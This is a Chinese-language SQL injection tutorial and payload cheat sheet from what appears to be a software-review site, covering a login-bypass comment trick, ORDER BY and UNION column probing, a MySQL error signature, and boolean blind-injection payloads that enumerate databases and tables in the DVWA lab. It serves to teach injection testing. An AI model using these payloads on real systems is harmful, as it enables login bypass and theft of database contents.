1.SQL注入的安全隐患
一旦应用中存在sql注入漏洞,就可能会造成如下影响:
-
数据库内的信息全部被外界窃取。
-
数据库中的内容被篡改。
-
登录认证被绕过
-
其他,例如服务器上的文件被读取或修改/服务上的程序被执行等。
2. SQL注入产生的过程
如果一个网站使用数据库来存储用户登录信息,并执行如下的SQL语句进行登录尝试:
select * from users where username='farmsec' and password='123456'
在这种情况下,攻击者可注入用户名或密码字段,以修改应用程序执行的查询,从而破坏它的逻辑。
例如攻击者知道应用程序的username为farmsec,那么他就可以通过提交一下用户名和任意密码,以管理员的身份登录:farmsec' --
应用程序将执行以下查询:
select * from users where username='farmsec' --' and password='sadfas'
于是乎这个查询完全避开了密码检查。
3、探测sql语句占位
1'order by 1--+
1'order by 2--+
1'order by 3--+
1' and 1=2 union select 1,2,3--+
4、报错特征
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”
5、payload
1.显注
1'and 1=1#
1'or 1=1#
/*!500001'--+-*/ #报错,不常用
/^.*1'--+-.*$/ #报错,不常用
2.bind_inject_payload(burp_intruder)
1' and length(user())=14#
1' and substring(user(),1,1)='a'#
1' and length(database())=4#
1' and substring(databse(),1,1)='a'#
(1)注入库名
1.注入查询有几个库
1' and (select count(schema_name) from information_schema.schemata) =6 #
2.注入第一个库名长度
1' and length((select schema_name from information_schema.schemata limit 0,1))=18 #
## limit 0,1代表截取第一行。limit 0,2代表截取前两行,limit 1,1,代表截取第二行。limit 2,3代表截取从第三行到第五行。
3.注入第一个库名
1' and substring((select schema_name from information_schema.schemata limit 0,1),1,1)='i'
也可以用ASCII码代替。
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 #
(2)注入表
1.盲注查询库内有多少个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)